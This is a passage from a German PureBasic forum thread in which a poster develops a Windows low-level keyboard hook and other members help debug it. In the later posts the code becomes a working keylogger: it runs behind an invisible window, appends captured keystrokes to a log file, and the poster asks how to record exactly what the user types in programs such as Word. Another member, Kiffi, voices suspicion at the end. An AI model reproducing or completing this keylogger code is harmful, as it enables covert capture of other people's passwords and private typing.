Seite 2 von 6

Verfasst: 29.12.2008 23:49
von orderinchaos
@kiffi
es gibt keine ausgabe im debugger und keine fehlermeldung !


ich habe inzwischen ein wenig rumgeschraubt und folgendes ist mir völlig unklar :

Code: Alles auswählen

Global hWindow,hook

Structure KBDLLHOOKSTRUCT
  vkCode.l
  scanCode.l
  flags.l
  time.l
  dwExtraInfo.l
EndStructure

Procedure.l myKeyboardHook(nCode, wParam, *p.KBDLLHOOKSTRUCT)
  If nCode = #HC_ACTION
    If wParam = #WM_KEYDOWN Or wParam = #WM_SYSKEYDOWN Or wParam = #WM_KEYUP Or wParam = #WM_SYSKEYUP
      #LLKHF_ALTDOWN = $20
      If *p\vkCode => #VK_A And *p\vkCode <= #VK_Z
        If *p\vkCode = #VK_A
          Debug "A"
        ElseIf *p\vkCode = #VK_B
          Debug "B"
        ElseIf *p\vkCode = #VK_C
          Debug "C"
        EndIf 
        ProcedureReturn 1
      EndIf
    EndIf
  EndIf
  ProcedureReturn CallNextHookEx_(0, nCode, wParam, *p)
EndProcedure

Procedure AskForExit()
  If MessageRequester("EXIT", "End the KeyboardHook ??",#MB_YESNO) = #IDYES
    UnhookWindowsHookEx_(hook) : End
  EndIf
EndProcedure

#WH_KEYBOARD_LL = 13
hook = SetWindowsHookEx_(#WH_KEYBOARD_LL,@myKeyboardHook(),GetModuleHandle_(0),0)
If hook = 0: End: EndIf


hWindow     = OpenWindow(1,0,0,10,10,"k8D h00K",#PB_Window_Invisible)

Repeat
  WaitWindowEvent()
  Delay(5)
ForEver
dieser code funktioniert einwandfrei, bis auf den fehlenden AskForExit() aufruf. wenn ich aber aus diesem code die WaitWindowEvent() abfrage entferne oder gar die ganze OpenWindow() prozedur entferne, was ich ja eigentlich auch möchte, dann geht gar nichts mehr.... kann mir einer sagen weshalb? ich weiss nicht mehr weiter.

hier noch der veränderte code :

Code: Alles auswählen

#WH_KEYBOARD_LL = 13
hook = SetWindowsHookEx_(#WH_KEYBOARD_LL,@myKeyboardHook(),GetModuleHandle_(0),0)
If hook = 0: End: EndIf

Repeat
  Delay(5)
ForEver
übrigens vielen dank für die hilfe, bin dank euch wirklich schon am verstehen wie ein keyboardhook zu coden ist, komm auf jeden fall schon schritt für schritt voran ! :allright:

Verfasst: 30.12.2008 00:03
von tft
Hallo ..

würde mal sagen ohne Window keine Hoks. Denn die Huks sind ja an des Window als Process reference gekoppelt.
Ist aber nur eine annnahme.
Denn Event funktionieren meines erachtens auch nur wenn midestens ein Window geöffnet wurde. Dies kann ja auch festeckt werden. Wenn du keines sehen möchtest.

gruss TFT

Verfasst: 30.12.2008 00:06
von orderinchaos
@tft

ja es scheint fast so, schade, dass da noch ein window im background laufen muss, aber scheint nicht anders zu funktionieren.... =/

danke für deine / eure hilfe

Verfasst: 30.12.2008 11:44
von orderinchaos
guten morgen,

also nochmals eine frage : dieser code :

Code: Alles auswählen

Global hWindow,hook

Structure KBDLLHOOKSTRUCT
  vkCode.l
  scanCode.l
  flags.l
  time.l
  dwExtraInfo.l
EndStructure

Procedure.l myKeyboardHook(nCode, wParam, *p.KBDLLHOOKSTRUCT)
  If nCode = #HC_ACTION
    If wParam = #WM_KEYDOWN Or wParam = #WM_SYSKEYDOWN Or wParam = #WM_KEYUP Or wParam = #WM_SYSKEYUP
      #LLKHF_ALTDOWN = $20
      If *p\vkCode = #VK_ESCAPE
        Exit = 1
        Debug "Escaped !"
        ProcedureReturn 1
      EndIf
      If *p\vkCode => #VK_A And *p\vkCode <= #VK_Z
        If *p\vkCode = #VK_A
          Debug "A"
          ProcedureReturn 1
        ElseIf *p\vkCode = #VK_B
          Debug "B"
          ProcedureReturn 1
        ElseIf *p\vkCode = #VK_C
          Debug "C"
          ProcedureReturn 1
        EndIf 
        ProcedureReturn 1
      EndIf
    EndIf
  EndIf
  ProcedureReturn CallNextHookEx_(hook, nCode, wParam, *p)
EndProcedure

Procedure AskForExit()
  If MessageRequester("EXIT", "End the KeyboardHook ??",#MB_YESNO) = #IDYES
    UnhookWindowsHookEx_(hook) : End
  EndIf
EndProcedure

#WH_KEYBOARD_LL = 13
hook = SetWindowsHookEx_(#WH_KEYBOARD_LL,@myKeyboardHook(),GetModuleHandle_(0),0)
If hook = 0: End: EndIf


hWindow     = OpenWindow(1,0,0,0,0,"k8D h00K",#PB_Window_Invisible)

Repeat
  WaitWindowEvent()
  Delay(5)
Until Exit = 1

AskForExit()
funktioniert soweit ganz gut.... die tastenanschläge werden korrekt im debugger ausgegeben.

das problem ist jedoch, dass sie NUR im debugger ausgegeben werden. im texteditor z.b. nicht. die ganze tastatur wird während der laufzeit des programms blockiert.... keine chance etwas einzugeben !

weiss vielleicht jemand wo der fehler liegt??

vielen dank schon mal

Verfasst: 30.12.2008 12:28
von real
Nachdem du die Tasten gehookt hast musst du sie an den Windows-Handler weiterleiten, sonst "frisst" dein Programm sie!

Sprich: Überdenk mal deine "ProcedureReturn 1", die in deinen If-Blöcken stehen.

Außerdem macht es hier wohl generell mehr Sinn, mit Select-Case statt If-Statements zu arbeiten.

Verfasst: 30.12.2008 12:39
von orderinchaos
gut vielen dank !! werd mir das ansehen und mein ergebnis posten..... :allright:

Verfasst: 30.12.2008 12:52
von orderinchaos
gut hab's nun gelöst :

Code: Alles auswählen

Procedure.l myKeyboardHook(nCode, wParam, *p.KBDLLHOOKSTRUCT)
  If nCode = #HC_ACTION
    If wParam = #WM_KEYDOWN Or wParam = #WM_SYSKEYDOWN Or wParam = #WM_KEYUP Or wParam = #WM_SYSKEYUP
      #LLKHF_ALTDOWN = $20
      Select *p\vkCode
                
        Case #VK_ESCAPE
          Exit = 1

        Case #VK_A
          Debug "a"
          
        Case #VK_B
          Debug "b"
          
        Case #VK_C
          Debug "c"
          
        Case #VK_D
          Debug "d"
          
        Case #VK_E
          Debug "e"
          
        Case #VK_F
          Debug "f"
          
      EndSelect
    EndIf
  EndIf
  ProcedureReturn CallNextHookEx_(hook, nCode, wParam, *p)
EndProcedure
kann mir aber noch einer sagen wie ich eine getasynckeystate_ abfrage einbauen kann, damit ich GROSSBUCHSTABEN erkennen kann?

so funktioniert es nämlich nicht :

Code: Alles auswählen

    If wParam = #WM_KEYDOWN Or wParam = #WM_SYSKEYDOWN Or wParam = #WM_KEYUP Or wParam = #WM_SYSKEYUP
      #LLKHF_ALTDOWN = $20
      While GetAsyncKeyState_(#VK_SHIFT)
      Select *p\vkCode
            
        Case #VK_ESCAPE
          Exit = 1

        Case #VK_A
          Debug "a"
          
        Case #VK_B
          Debug "b"
          
      EndSelect
      Wend
    EndIf


und ich hab keine ahnung weshalb nicht.... und die folgende zeile funktioniert auch nicht :

Code: Alles auswählen

     
        Case #VK_ESCAPE
          Exit = 1


wieso nicht ?? bin an meinen grenzen.... stäntig gibt es wieder komplikationen und ich versteh nicht weshalb....

vielen dank schon mal!! :mrgreen:

Verfasst: 30.12.2008 13:14
von real
1. While eröffnet eine Schleife. Du willst in der Hook-Prozedur NICHT WIRKLICH eine Schleife starten!!!

2. Wenn du ein WaitWindowEvent() prüfst, lässt du in dieser Schleife das Delay() weg. WaitWindowEvent() liefert nur ein Ergebnis, wenn auch ein Event aufgetreten ist.

3. Wenn du im Hauptprogramm UND Prozeduren Variablen verwenden willst, definierst du sie als "global".

Verfasst: 30.12.2008 17:35
von orderinchaos
@real

vielen dank für deine hilfe, hat wunderbar geklappt !!

nun aber noch ne frage. habe meinen code zu diesem hier umgebaut :

Code: Alles auswählen

Procedure.l myKeyboardHook(nCode, wParam, *p.KBDLLHOOKSTRUCT)
  If nCode = #HC_ACTION
    If wParam = #WM_KEYDOWN Or wParam = #WM_SYSKEYDOWN Or wParam = #WM_KEYUP Or wParam = #WM_SYSKEYUP
      #LLKHF_ALTDOWN = $20
      
      If GetAsyncKeyState_(#VK_ESCAPE)
        If MessageRequester("EXIT", "End the KeyboardHook ??",#MB_YESNO) = #IDYES
          UnhookWindowsHookEx_(hook)
          End
        EndIf
      EndIf
      
      Select *p\vkCode
        
        Case #VK_A
          WriteChar2File("---log---.txt","a")
          
        Case #VK_B
          WriteChar2File("---log---.txt","b")
          
        Case #VK_C
          WriteChar2File("---log---.txt","c")
          
        Case #VK_D
          WriteChar2File("---log---.txt","d")
          
        Case #VK_E
          Debug "e"
          
        Case #VK_F
          Debug "f"
          
      EndSelect

    EndIf
  EndIf
  ProcedureReturn CallNextHookEx_(hook, nCode, wParam, *p)
EndProcedure
die WriteChar2File Prozedur ist simpel und sieht wie folgt aus :

Code: Alles auswählen

Procedure WriteChar2File(File$,Char$)
OpenFile(0,File$)
FileSeek(0,Lof(0))
WriteString(0,Char$)
CloseFile(0)
EndProcedure
das ganze funktioniert auch wirklich so wie ich mir das vorstelle... die zeichen werden in die datei geschrieben, ABER

mein einziges problem ist, dass es nicht nur ein zeichen sondern jeweils mehrere zeichen schreibt (statt "a" eben "aa")...

das möchte ich natürlich nur wenn der benutzer auch wirklich länger auf der taste bleibt und somit in seinem programm (z.b. word) ebenfalls mehrere zeichen ausgegeben werden.... es soll also immer genau die gleiche anzahl an zeichen ausgegeben werden, wie auch beim benutzer...

kann mir einer helfen das zu bewerkstelligen? habe es mit einem einfachen Delay(50) versucht, funktioniert jedoch NICHT....

weiss jemand rat?

Verfasst: 30.12.2008 17:45
von Kiffi
orderinchaos hat geschrieben:Ich versichere hiermit, dass mein Keylogger Niemandem einen Schaden anrichten wird, sondern lediglich meinem Wissenshunger dienen!!
orderinchaos hat geschrieben:das möchte ich natürlich nur wenn der benutzer auch wirklich länger auf der taste bleibt und somit in seinem programm (z.b. word) ebenfalls mehrere zeichen ausgegeben werden.... es soll also immer genau die gleiche anzahl an zeichen ausgegeben werden, wie auch beim benutzer...
mh, wieso stellt sich bei mir nach und nach ein ungutes Gefühl ein? Mit
Wissensdurst hat das IMO nicht mehr viel zu tun, oder?